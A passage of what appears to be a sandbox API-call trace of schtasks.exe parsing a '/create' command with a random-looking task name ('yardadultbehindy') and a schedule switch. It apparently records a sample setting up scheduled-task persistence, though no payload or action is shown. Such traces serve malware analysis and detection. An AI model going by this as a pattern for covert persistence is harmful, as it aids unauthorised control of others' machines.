Flags=0x0, MemoryPointer=0x1854a0) returned 0x18 [0162.572] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1854a0 | out: hHeap=0x170000) returned 1 [0162.573] SetLastError (dwErrCode=0x0) [0162.573] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0162.573] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0162.573] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0162.573] VerifyVersionInfoW (in: lpVersionInformation=0x13c170, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13c170) returned 1 [0162.573] SetLastError (dwErrCode=0x0) [0162.573] lstrlenW (lpString="create") returned 6 [0162.573] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0162.573] SetLastError (dwErrCode=0x490) [0162.573] SetLastError (dwErrCode=0x0) [0162.573] lstrlenW (lpString="create") returned 6 [0162.573] GetProcessHeap () returned 0x170000 [0162.573] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce50 [0162.573] GetProcessHeap () returned 0x170000 [0162.573] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18d530 [0162.573] _memicmp (_Buf1=0x18d530, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.573] GetProcessHeap () returned 0x170000 [0162.573] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d550 [0162.573] SetLastError (dwErrCode=0x0) [0162.573] _memicmp (_Buf1=0x18bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.573] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0162.574] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0162.574] GetProcessHeap () returned 0x170000 [0162.574] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x74e) returned 0x18dd00 [0162.574] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x18dd00 | out: lpData=0x18dd00) returned 1 [0162.574] VerQueryValueW (in: pBlock=0x18dd00, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13c258, puLen=0x13c2c0 | out: lplpBuffer=0x13c258*=0x18e09c, puLen=0x13c2c0) returned 1 [0162.574] _memicmp (_Buf1=0x18bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.574] _vsnwprintf (in: _Buffer=0x18bc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13c238 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0162.574] VerQueryValueW (in: pBlock=0x18dd00, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13c2c8, puLen=0x13c2b8 | out: lplpBuffer=0x13c2c8*=0x18dec8, puLen=0x13c2b8) returned 1 [0162.574] lstrlenW (lpString="schtasks.exe") returned 12 [0162.575] lstrlenW (lpString="schtasks.exe") returned 12 [0162.575] lstrlenW (lpString=".EXE") returned 4 [0162.575] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0162.575] lstrlenW (lpString="schtasks.exe") returned 12 [0162.575] lstrlenW (lpString=".EXE") returned 4 [0162.575] lstrlenW (lpString="schtasks") returned 8 [0162.575] lstrlenW (lpString="/create") returned 7 [0162.575] _memicmp (_Buf1=0x18bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.575] _vsnwprintf (in: _Buffer=0x18bc60, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13c238 | out: _Buffer="schtasks /create") returned 16 [0162.575] _memicmp (_Buf1=0x18bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.575] GetProcessHeap () returned 0x170000 [0162.575] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce20 [0162.575] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.575] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0162.575] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0162.575] GetProcessHeap () returned 0x170000 [0162.575] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x30) returned 0x187b00 [0162.575] _vsnwprintf (in: _Buffer=0x18c060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13c238 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0162.578] GetProcessHeap () returned 0x170000 [0162.578] GetProcessHeap () returned 0x170000 [0162.578] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18dd00) returned 1 [0162.578] GetProcessHeap () returned 0x170000 [0162.578] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18dd00) returned 0x74e [0162.579] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18dd00 | out: hHeap=0x170000) returned 1 [0162.579] SetLastError (dwErrCode=0x0) [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="create") returned 6 [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="?") returned 1 [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="s") returned 1 [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="u") returned 1 [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="p") returned 1 [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="ru") returned 2 [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="rp") returned 2 [0162.579] GetThreadLocale () returned 0x409 [0162.579] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.579] lstrlenW (lpString="sc") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="mo") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="d") returned 1 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="m") returned 1 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="i") returned 1 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="tn") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="tr") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="st") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="sd") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="ed") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.580] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.580] lstrlenW (lpString="it") returned 2 [0162.580] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="et") returned 2 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="k") returned 1 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="du") returned 2 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="ri") returned 2 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="z") returned 1 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="f") returned 1 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="v1") returned 2 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="xml") returned 3 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="ec") returned 2 [0162.581] GetThreadLocale () returned 0x409 [0162.581] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.581] lstrlenW (lpString="rl") returned 2 [0162.581] GetThreadLocale () returned 0x409 [0162.582] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.582] lstrlenW (lpString="delay") returned 5 [0162.582] GetThreadLocale () returned 0x409 [0162.582] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.582] lstrlenW (lpString="np") returned 2 [0162.582] SetLastError (dwErrCode=0x0) [0162.582] SetLastError (dwErrCode=0x0) [0162.582] lstrlenW (lpString="/create") returned 7 [0162.582] lstrlenW (lpString="-/") returned 2 [0162.582] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.582] lstrlenW (lpString="create") returned 6 [0162.582] lstrlenW (lpString="create") returned 6 [0162.582] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.582] lstrlenW (lpString="create") returned 6 [0162.582] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.582] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.582] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.582] lstrlenW (lpString="|create|") returned 8 [0162.582] lstrlenW (lpString="|create|") returned 8 [0162.582] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0162.582] SetLastError (dwErrCode=0x0) [0162.582] SetLastError (dwErrCode=0x0) [0162.582] SetLastError (dwErrCode=0x0) [0162.582] lstrlenW (lpString="/tn") returned 3 [0162.582] lstrlenW (lpString="-/") returned 2 [0162.582] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.582] lstrlenW (lpString="create") returned 6 [0162.582] lstrlenW (lpString="create") returned 6 [0162.582] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.583] lstrlenW (lpString="tn") returned 2 [0162.583] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.583] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.583] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.583] lstrlenW (lpString="|create|") returned 8 [0162.583] lstrlenW (lpString="|tn|") returned 4 [0162.583] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0162.583] SetLastError (dwErrCode=0x490) [0162.583] lstrlenW (lpString="?") returned 1 [0162.583] lstrlenW (lpString="?") returned 1 [0162.583] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.583] lstrlenW (lpString="tn") returned 2 [0162.583] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.583] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|?|") returned 3 [0162.583] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.583] lstrlenW (lpString="|?|") returned 3 [0162.583] lstrlenW (lpString="|tn|") returned 4 [0162.583] SetLastError (dwErrCode=0x490) [0162.583] lstrlenW (lpString="s") returned 1 [0162.583] lstrlenW (lpString="s") returned 1 [0162.583] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.583] lstrlenW (lpString="tn") returned 2 [0162.583] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.583] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|s|") returned 3 [0162.583] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.583] lstrlenW (lpString="|s|") returned 3 [0162.583] lstrlenW (lpString="|tn|") returned 4 [0162.584] SetLastError (dwErrCode=0x490) [0162.584] lstrlenW (lpString="u") returned 1 [0162.584] lstrlenW (lpString="u") returned 1 [0162.584] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.584] lstrlenW (lpString="tn") returned 2 [0162.584] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.584] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|u|") returned 3 [0162.584] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.584] lstrlenW (lpString="|u|") returned 3 [0162.584] lstrlenW (lpString="|tn|") returned 4 [0162.584] SetLastError (dwErrCode=0x490) [0162.584] lstrlenW (lpString="p") returned 1 [0162.584] lstrlenW (lpString="p") returned 1 [0162.584] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.584] lstrlenW (lpString="tn") returned 2 [0162.584] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.584] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|p|") returned 3 [0162.584] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.584] lstrlenW (lpString="|p|") returned 3 [0162.584] lstrlenW (lpString="|tn|") returned 4 [0162.584] SetLastError (dwErrCode=0x490) [0162.584] lstrlenW (lpString="ru") returned 2 [0162.584] lstrlenW (lpString="ru") returned 2 [0162.584] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.584] lstrlenW (lpString="tn") returned 2 [0162.584] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.584] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ru|") returned 4 [0162.585] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.585] lstrlenW (lpString="|ru|") returned 4 [0162.585] lstrlenW (lpString="|tn|") returned 4 [0162.585] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0162.585] SetLastError (dwErrCode=0x490) [0162.585] lstrlenW (lpString="rp") returned 2 [0162.585] lstrlenW (lpString="rp") returned 2 [0162.585] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.585] lstrlenW (lpString="tn") returned 2 [0162.585] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.585] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rp|") returned 4 [0162.585] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.585] lstrlenW (lpString="|rp|") returned 4 [0162.585] lstrlenW (lpString="|tn|") returned 4 [0162.585] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0162.585] SetLastError (dwErrCode=0x490) [0162.585] lstrlenW (lpString="sc") returned 2 [0162.585] lstrlenW (lpString="sc") returned 2 [0162.585] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.585] lstrlenW (lpString="tn") returned 2 [0162.585] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.585] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.585] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.585] lstrlenW (lpString="|sc|") returned 4 [0162.585] lstrlenW (lpString="|tn|") returned 4 [0162.585] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0162.585] SetLastError (dwErrCode=0x490) [0162.585] lstrlenW (lpString="mo") returned 2 [0162.586] lstrlenW (lpString="mo") returned 2 [0162.586] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.586] lstrlenW (lpString="tn") returned 2 [0162.586] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.586] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.586] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.586] lstrlenW (lpString="|mo|") returned 4 [0162.586] lstrlenW (lpString="|tn|") returned 4 [0162.586] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0162.586] SetLastError (dwErrCode=0x490) [0162.586] lstrlenW (lpString="d") returned 1 [0162.586] lstrlenW (lpString="d") returned 1 [0162.586] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.586] lstrlenW (lpString="tn") returned 2 [0162.586] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.586] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|d|") returned 3 [0162.586] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.586] lstrlenW (lpString="|d|") returned 3 [0162.586] lstrlenW (lpString="|tn|") returned 4 [0162.586] SetLastError (dwErrCode=0x490) [0162.586] lstrlenW (lpString="m") returned 1 [0162.586] lstrlenW (lpString="m") returned 1 [0162.586] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.586] lstrlenW (lpString="tn") returned 2 [0162.586] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.586] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|m|") returned 3 [0162.587] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.587] lstrlenW (lpString="|m|") returned 3 [0162.587] lstrlenW (lpString="|tn|") returned 4 [0162.587] SetLastError (dwErrCode=0x490) [0162.587] lstrlenW (lpString="i") returned 1 [0162.587] lstrlenW (lpString="i") returned 1 [0162.587] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.587] lstrlenW (lpString="tn") returned 2 [0162.587] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.587] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|i|") returned 3 [0162.587] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.587] lstrlenW (lpString="|i|") returned 3 [0162.587] lstrlenW (lpString="|tn|") returned 4 [0162.587] SetLastError (dwErrCode=0x490) [0162.587] lstrlenW (lpString="tn") returned 2 [0162.587] lstrlenW (lpString="tn") returned 2 [0162.587] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.587] lstrlenW (lpString="tn") returned 2 [0162.587] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.587] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.587] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.587] lstrlenW (lpString="|tn|") returned 4 [0162.587] lstrlenW (lpString="|tn|") returned 4 [0162.587] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0162.587] SetLastError (dwErrCode=0x0) [0162.587] SetLastError (dwErrCode=0x0) [0162.587] lstrlenW (lpString="yardadultbehindy") returned 16 [0162.587] lstrlenW (lpString="-/") returned 2 [0162.587] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0162.588] SetLastError (dwErrCode=0x490) [0162.588] SetLastError (dwErrCode=0x490) [0162.588] SetLastError (dwErrCode=0x0) [0162.588] lstrlenW (lpString="yardadultbehindy") returned 16 [0162.588] StrChrIW (lpStart="yardadultbehindy", wMatch=0x3a) returned 0x0 [0162.588] SetLastError (dwErrCode=0x490) [0162.588] SetLastError (dwErrCode=0x0) [0162.588] lstrlenW (lpString="yardadultbehindy") returned 16 [0162.588] SetLastError (dwErrCode=0x0) [0162.588] SetLastError (dwErrCode=0x0) [0162.588] lstrlenW (lpString="/sc") returned 3 [0162.588] lstrlenW (lpString="-/") returned 2 [0162.588] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.588] lstrlenW (lpString="create") returned 6 [0162.588] lstrlenW (lpString="create") returned 6 [0162.588] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.588] lstrlenW (lpString="sc") returned 2 [0162.588] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.588] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.588] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.588] lstrlenW (lpString="|create|") returned 8 [0162.588] lstrlenW (lpString="|sc|") returned 4 [0162.588] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0162.588] SetLastError (dwErrCode=0x490) [0162.588] lstrlenW (lpString="?") returned 1 [0162.588] lstrlenW (lpString="?") returned 1 [0162.588] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.589] lstrlenW (lpString="sc") returned 2 [0162.589] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.589] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|?|") returned 3 [0162.589] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.589] lstrlenW (lpString="|?|") returned 3 [0162.589] lstrlenW (lpString="|sc|") returned 4 [0162.589] SetLastError (dwErrCode=0x490) [0162.589] lstrlenW (lpString="s") returned 1 [0162.589] lstrlenW (lpString="s") returned 1 [0162.589] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.589] lstrlenW (lpString="sc") returned 2 [0162.589] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.589] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|s|") returned 3 [0162.589] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.589] lstrlenW (lpString="|s|") returned 3 [0162.589] lstrlenW (lpString="|sc|") returned 4 [0162.589] SetLastError (dwErrCode=0x490) [0162.589] lstrlenW (lpString="u") returned 1 [0162.589] lstrlenW (lpString="u") returned 1 [0162.589] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.589] lstrlenW (lpString="sc") returned 2 [0162.589] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.589] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|u|") returned 3 [0162.589] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.589] lstrlenW (lpString="|u|") returned 3 [0162.589] lstrlenW (lpString="|sc|") returned 4 [0162.590] SetLastError 